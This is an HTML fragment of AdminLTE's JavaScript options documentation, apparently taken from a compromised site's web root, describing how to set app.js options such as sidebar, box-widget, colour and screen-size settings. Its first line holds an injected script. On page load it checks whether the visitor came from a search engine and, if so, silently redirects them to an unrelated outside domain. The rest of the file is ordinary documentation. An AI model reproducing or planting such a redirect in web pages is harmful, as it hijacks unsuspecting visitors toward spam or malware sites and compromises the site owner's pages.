d:\wwwroot\wuchunhua\thinkphp\public\adminlte\documentation\build\include\adminlte-options.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><section id="adminlte-options">
002:
<h2 class="page-header"><a href="#adminlte-options">AdminLTE Javascript Options</a></h2>
003:
<p class="lead">Modifying the options of AdminLTE's app.js can be done using one of the following ways.</p>
004:
005:
<h3>Editing app.js</h3>
006:
<p>Within the main Javascript file, modify the <code>$.AdminLTE.options</code> object to suit your use case.</p>
007:
008:
<h3>Defining AdminLTEOptions</h3>
009:
<p>Alternatively, you can define a global options variable named <code>AdminLTEOptions</code> and initialize it before loading app.js.</p>
010:
<p>Example</p>
011:
<pre class="prettyprint"><code class="html"><script>
012:
var AdminLTEOptions = {
013:
//Enable sidebar expand on hover effect for sidebar mini
014:
//This option is forced to true if both the fixed layout and sidebar mini
015:
//are used together
016:
sidebarExpandOnHover: true,
017:
//BoxRefresh Plugin
018:
enableBoxRefresh: true,
019:
//Bootstrap.js tooltip
020:
enableBSToppltip: true
021:
};
022:
</script>
023:
<script src="dist/js/app.js" type="text/javascript"></script></code></pre>
024:
025:
<h3>Available AdminLTE Options</h3>
026:
<pre class="prettyprint"><code class="javascript">{
027:
//Add slimscroll to navbar menus
028:
//This requires you to load the slimscroll plugin
029:
//in every page before app.js
030:
navbarMenuSlimscroll: true,
031:
navbarMenuSlimscrollWidth: "3px", //The width of the scroll bar
032:
navbarMenuHeight: "200px", //The height of the inner menu
033:
//General animation speed for JS animated elements such as box collapse/expand and
034:
//sidebar treeview slide up/down. This option accepts an integer as milliseconds,
035:
//'fast', 'normal', or 'slow'
036:
animationSpeed: 500,
037:
//Sidebar push menu toggle button selector
038:
sidebarToggleSelector: "[data-toggle='offcanvas']",
039:
//Activate sidebar push menu
040:
sidebarPushMenu: true,
041:
//Activate sidebar slimscroll if the fixed layout is set (requires SlimScroll Plugin)
042:
sidebarSlimScroll: true,
043:
//Enable sidebar expand on hover effect for sidebar mini
044:
//This option is forced to true if both the fixed layout and sidebar mini
045:
//are used together
046:
sidebarExpandOnHover: false,
047:
//BoxRefresh Plugin
048:
enableBoxRefresh: true,
049:
//Bootstrap.js tooltip
050:
enableBSToppltip: true,
051:
BSTooltipSelector: "[data-toggle='tooltip']",
052:
//Enable Fast Click. Fastclick.js creates a more
053:
//native touch experience with touch devices. If you
054:
//choose to enable the plugin, make sure you load the script
055:
//before AdminLTE's app.js
056:
enableFastclick: true,
057:
//Control Sidebar Tree Views
058:
enableControlTreeView: true,
059:
//Control Sidebar Options
060:
enableControlSidebar: true,
061:
controlSidebarOptions: {
062:
//Which button should trigger the open/close event
063:
toggleBtnSelector: "[data-toggle='control-sidebar']",
064:
//The sidebar selector
065:
selector: ".control-sidebar",
066:
//Enable slide over content
067:
slide: true
068:
},
069:
//Box Widget Plugin. Enable this plugin
070:
//to allow boxes to be collapsed and/or removed
071:
enableBoxWidget: true,
072:
//Box Widget plugin options
073:
boxWidgetOptions: {
074:
boxWidgetIcons: {
075:
//Collapse icon
076:
collapse: 'fa-minus',
077:
//Open icon
078:
open: 'fa-plus',
079:
//Remove icon
080:
remove: 'fa-times'
081:
},
082:
boxWidgetSelectors: {
083:
//Remove button selector
084:
remove: '[data-widget="remove"]',
085:
//Collapse button selector
086:
collapse: '[data-widget="collapse"]'
087:
}
088:
},
089:
//Direct Chat plugin options
090:
directChat: {
091:
//Enable direct chat by default
092:
enable: true,
093:
//The button to open and close the chat contacts pane
094:
contactToggleSelector: '[data-widget="chat-pane-toggle"]'
095:
},
096:
//Define the set of colors to use globally around the website
097:
colors: {
098:
lightBlue: "#3c8dbc",
099:
red: "#f56954",
100:
green: "#00a65a",
101:
aqua: "#00c0ef",
102:
yellow: "#f39c12",
103:
blue: "#0073b7",
104:
navy: "#001F3F",
105:
teal: "#39CCCC",
106:
olive: "#3D9970",
107:
lime: "#01FF70",
108:
orange: "#FF851B",
109:
fuchsia: "#F012BE",
110:
purple: "#8E24AA",
111:
maroon: "#D81B60",
112:
black: "#222222",
113:
gray: "#d2d6de"
114:
},
115:
//The standard screen sizes that bootstrap uses.
116:
//If you change these in the variables.less file, change
117:
//them here too.
118:
screenSizes: {
119:
xs: 480,
120:
sm: 768,
121:
md: 992,
122:
lg: 1200
123:
}
124:
}</code></pre>
125:
</section>
126:
127:
128: